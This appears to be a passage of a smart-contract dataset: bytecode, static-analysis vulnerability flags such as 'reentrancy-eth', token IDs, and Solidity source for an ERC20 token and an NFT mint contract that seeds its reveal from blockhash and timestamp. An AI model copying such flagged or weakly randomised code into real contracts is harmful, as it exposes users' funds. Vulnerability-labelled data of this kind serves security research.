565b60006132bd82613252565b6132c7818561325d565b93506132d28361326e565b8060005b838110156133035781516132ea888261328d565b97506132f5836132a5565b9250506001810190506132d6565b5085935050505092915050565b600060a082019050613325600083018861276a565b6133326020830187612d19565b818103604083015261334481866132b2565b905061335360608301856128a4565b613360608083018461276a565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133a482612691565b91506133af83612691565b9250826133bf576133be61336a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061342660218361256f565b9150613431826133ca565b604082019050919050565b6000602082019050818103600083015261345581613419565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613492601b8361256f565b915061349d8261345c565b602082019050919050565b600060208201905081810360008301526134c181613485565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220447d7e22c1997b6e0348d687a3383abd8a69635a2f4648b415f5b8c9db7e298a64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2278, 2581, 9024, 2620, 16576, 2278, 2546, 2094, 2692, 20842, 2546, 2475, 11329, 4783, 2692, 2050, 27009, 22022, 22394, 2629, 2094, 2575, 2278, 2629, 2497, 2094, 2692, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1013, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 2233, 25666, 2791, 2121, 2278, 1013, 1008, 2233, 25666, 2094, 2791, 9413, 2278, 2057, 2064, 2035, 5993, 2008, 2233, 2003, 1042, 1001, 1001, 2332, 4689, 2061, 2521, 1012, 2057, 2031, 2162, 2006, 1011, 2183, 1010, 17147, 1010, 14200, 2183, 4689, 1010, 3006, 2183, 10974, 20357, 1012, 1045, 2064, 2102, 2130, 2562, 2009, 2039, 2007, 2035, 1996, 2006, 1011, 2183, 5506, 2094, 2791, 1012, 2054, 2842, 2003, 2045, 2005, 2149, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,312
0x968Cbe62c830A0Ccf4381614662398505657A2A9
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract ThrupennyToken is ERC20 { /** * Create an initial amount of tokens. */ constructor(address safeAddress) ERC20("Thrupenny", "TPY") { _mint(safeAddress, 1000000000 * 10 ** decimals()); } /** * Returns the number of decimals used to get its user representation. */ function decimals() public pure override returns (uint8) { return 8; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101c6565b6040516100c391906107d4565b60405180910390f35b6100df6100da3660046107ab565b610258565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610770565b61026e565b604051600881526020016100c3565b6100df6101313660046107ab565b61031d565b6100f361014436600461071d565b6001600160a01b031660009081526020819052604090205490565b6100b6610359565b6100df6101753660046107ab565b610368565b6100df6101883660046107ab565b610401565b6100f361019b36600461073e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101d59061084b565b80601f01602080910402602001604051908101604052809291908181526020018280546102019061084b565b801561024e5780601f106102235761010080835404028352916020019161024e565b820191906000526020600020905b81548152906001019060200180831161023157829003601f168201915b5050505050905090565b600061026533848461040e565b50600192915050565b600061027b848484610532565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103055760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610312853385840361040e565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610265918590610354908690610827565b61040e565b6060600480546101d59061084b565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156103ea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102fc565b6103f7338585840361040e565b5060019392505050565b6000610265338484610532565b6001600160a01b0383166104705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102fc565b6001600160a01b0382166104d15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102fc565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105965760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102fc565b6001600160a01b0382166105f85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102fc565b6001600160a01b038316600090815260208190526040902054818110156106705760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102fc565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906106a7908490610827565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106f391815260200190565b60405180910390a350505050565b80356001600160a01b038116811461071857600080fd5b919050565b60006020828403121561072e578081fd5b61073782610701565b9392505050565b60008060408385031215610750578081fd5b61075983610701565b915061076760208401610701565b90509250929050565b600080600060608486031215610784578081fd5b61078d84610701565b925061079b60208501610701565b9150604084013590509250925092565b600080604083850312156107bd578182fd5b6107c683610701565b946020939093013593505050565b6000602080835283518082850152825b81811015610800578581018301518582016040015282016107e4565b818111156108115783604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561084657634e487b7160e01b81526011600452602481fd5b500190565b600181811c9082168061085f57607f821691505b6020821081141561088057634e487b7160e01b600052602260045260246000fd5b5091905056fea264697066735822122069475be288803657774b27a92531ea53b31c0a11f34a1e38ae08ab6cfbb44a7264736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2620, 27421, 2063, 2575, 2475, 2278, 2620, 14142, 2050, 2692, 9468, 2546, 23777, 2620, 16048, 16932, 28756, 21926, 2683, 27531, 2692, 26976, 28311, 2050, 2475, 2050, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 3206, 27046, 11837, 4890, 18715, 2368, 2003, 9413, 2278, 11387, 1063, 1013, 1008, 1008, 1008, 3443, 2019, 3988, 3815, 1997, 19204, 2015, 1012, 1008, 1013, 9570, 2953, 1006, 4769, 3647, 4215, 16200, 4757, 1007, 9413, 2278, 11387, 1006, 1000, 27046, 11837, 4890, 1000, 1010, 1000, 1056, 7685, 1000, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,313
0x968d2fC6c7679994fCC4cF4d53051b8F3b78AB29
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/common/ERC2981Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/cryptography/MerkleProofUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "./BatchReveal.sol"; // <-.(`-') (`-') _ (`-').->(`-') __(`-') // __( OO) (OO ).-/ ( OO)_ ( OO).-( (OO ).-> // '-'---.\ / ,---. (_)--\_)(,------.\ .'_ // | .-. (/ | \ /`.\ / _ / | .---''`'-..__) // | '-' `.)'-'|_.' |\_..`--.(| '--. | | ' | // | /`'. (| .-. |.-._) \| .--' | | / : // | '--' /| | | |\ /| `---.| '-' / // `------' `--' `--' `-----' `------'`------' v1.5 // // :::!~!!!!!:. // .xUHWH!! !!?M88WHX:. // .X*#[email protected]$!! !X!M$$$$$$WWx:. // :!!!!!!?H! :!$!$$$$$$$$$$8X: // !!~ ~:~!! :~!$!#$$$$$$$$$$8X: // :!~::!H!< ~.U$X!?R$$$$$$$$MM! // ~!~!!!!~~ .:XW$$$U!!?$$$$$$RMM! // !:~~~ .:!M"T#$$$$WX??#MRRMMM! // ~?WuxiW*` `"#$$$$8!!!!??!!! // :X- M$$$$ `"T#$T~!8$WUXU~ // :%` ~#$$$m: ~!~ ?$$$$$$ // :!`.- ~T$$$$8xx. .xWW- ~""##*" // ..... -~~:<` ! ~?T#[email protected]@[email protected]*?$$ /` // [email protected]@M!!! .!~~ !! .:XUW$W!~ `"~: : // #"~~`.:x%`!! !H: !WM$$$$Ti.: .!WUn+!` // :::~:!!`:X~ .: ?H.!u "$$$B$$$!W:U!T$$M~ // .~~ :[email protected]!.-~ [email protected]("*$$$W$TH$! ` // Wi.~!X$?!-~ : ?$$$B$Wu("**$RM! // [email protected]~~ ! : ~$$$$$B$$en:`` // [email protected]~ : ~"##*$$$$M~ // :W$B$$$W! : ~$$$$$$ // ~"T$$$R! : ~M$$ // ~#M$$$$$$ ~-~~~-.__.-~~~-~ // ghouls rebased by @0xhanvalen contract BasedGhoulsv2 is ERC721Upgradeable, ERC2981Upgradeable, AccessControlUpgradeable, BatchReveal { using StringsUpgradeable for uint256; mapping (address => bool) public EXPANSIONPAKRedemption; mapping (address => bool) public REBASERedemption; bool public isMintable; uint16 public totalSupply; uint16 public maxGhouls; uint16 public summonedGhouls; uint16 public rebasedGhouls; uint16 public maxRebasedGhouls; string public baseURI; string public unrevealedURI; bytes32 public EXPANSION_PAK; bytes32 public SUMMONER_LIST; function initialize() initializer public { __ERC721_init("Based Ghouls", "GHLS"); maxGhouls = 6666; maxRebasedGhouls = 870; baseURI = "https://ghlstest.s3.amazonaws.com/json/"; unrevealedURI = "https://ghlsprereveal.s3.amazonaws.com/json/Shallow_Grave.json"; EXPANSION_PAK = 0xeaad81dc1fbbd6832eacc1a6445f0220959cd68597f0e7a6b1270b2bb16cf31d; SUMMONER_LIST = 0x96b5de66f7385e7ecc21f6a51bce0f5fa347f5210ac6883f09d88b824b70c806; lastTokenRevealed = 0; isMintable = false; totalSupply = 0; _setDefaultRoyalty(0x475dcAA08A69fA462790F42DB4D3bbA1563cb474, 690); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); grantRole(DEFAULT_ADMIN_ROLE, 0x98CCf605c43A0bF9D6795C3cf3b5fEd836330511); } function updateBaseURI(string calldata _newURI) public onlyRole(DEFAULT_ADMIN_ROLE) { baseURI = _newURI; } function updateUnrevealedURI(string calldata _newURI) public onlyRole(DEFAULT_ADMIN_ROLE) { unrevealedURI = _newURI; } function setMintability(bool _mintability) public onlyRole(DEFAULT_ADMIN_ROLE) { isMintable = _mintability; } // u gotta... GOTTA... send the merkleproof in w the mint request. function summon(bytes32[] calldata _merkleProof, bool _isRebase) public { require(isMintable, "NYM"); require(totalSupply < maxGhouls, "OOG"); address minter = msg.sender; require(tx.origin == msg.sender, "NSCM"); if (_isRebase) { require(!REBASERedemption[minter], "TMG"); require(!EXPANSIONPAKRedemption[minter], "TMG"); require(rebasedGhouls + 3 <= maxRebasedGhouls, "NEG"); bytes32 leaf = keccak256(abi.encodePacked(minter)); bool isLeaf = MerkleProofUpgradeable.verify(_merkleProof, SUMMONER_LIST, leaf); require(isLeaf, "NBG"); REBASERedemption[minter] = true; EXPANSIONPAKRedemption[minter] = true; totalSupply = totalSupply + 3; rebasedGhouls += 3; _mint(minter, totalSupply - 3); _mint(minter, totalSupply - 2); _mint(minter, totalSupply - 1); } if (!isHordeReleased && !_isRebase) { require(!EXPANSIONPAKRedemption[minter], "TMG"); require(summonedGhouls + 1 + maxRebasedGhouls <= maxGhouls, "NEG"); bytes32 leaf = keccak256(abi.encodePacked(minter)); bool isLeaf = MerkleProofUpgradeable.verify(_merkleProof, EXPANSION_PAK, leaf); require(isLeaf, "NBG"); EXPANSIONPAKRedemption[minter] = true; totalSupply = totalSupply + 1; summonedGhouls += 1; _mint(minter, totalSupply - 1); } if (isHordeReleased) { require(summonedGhouls + 1 + maxRebasedGhouls <= maxGhouls, "NEG"); summonedGhouls += 1; totalSupply = totalSupply + 1; _mint(minter, totalSupply - 1); } if(totalSupply >= (lastTokenRevealed + REVEAL_BATCH_SIZE)) { uint256 seed; unchecked { seed = uint256(blockhash(block.number - 69)) * uint256(block.timestamp % 69); } setBatchSeed(seed); } } function tokenURI(uint256 id) public view override returns (string memory) { if(id >= lastTokenRevealed){ return unrevealedURI; } else { return string(abi.encodePacked(baseURI, getShuffledTokenId(id).toString(), ".json")); } } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlUpgradeable, ERC2981Upgradeable, ERC721Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || interfaceId == type(IAccessControlUpgradeable).interfaceId || interfaceId == type(IERC2981Upgradeable).interfaceId || super.supportsInterface(interfaceId); } bool public isHordeReleased; function insertExpansionPack(bytes32 _newMerkle) public onlyRole(DEFAULT_ADMIN_ROLE) returns (bytes32) { EXPANSION_PAK = _newMerkle; return EXPANSION_PAK; } function releaseTheHorde (bool _isHordeReleased) public onlyRole(DEFAULT_ADMIN_ROLE) returns (bool) { isHordeReleased = _isHordeReleased; return isHordeReleased; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not 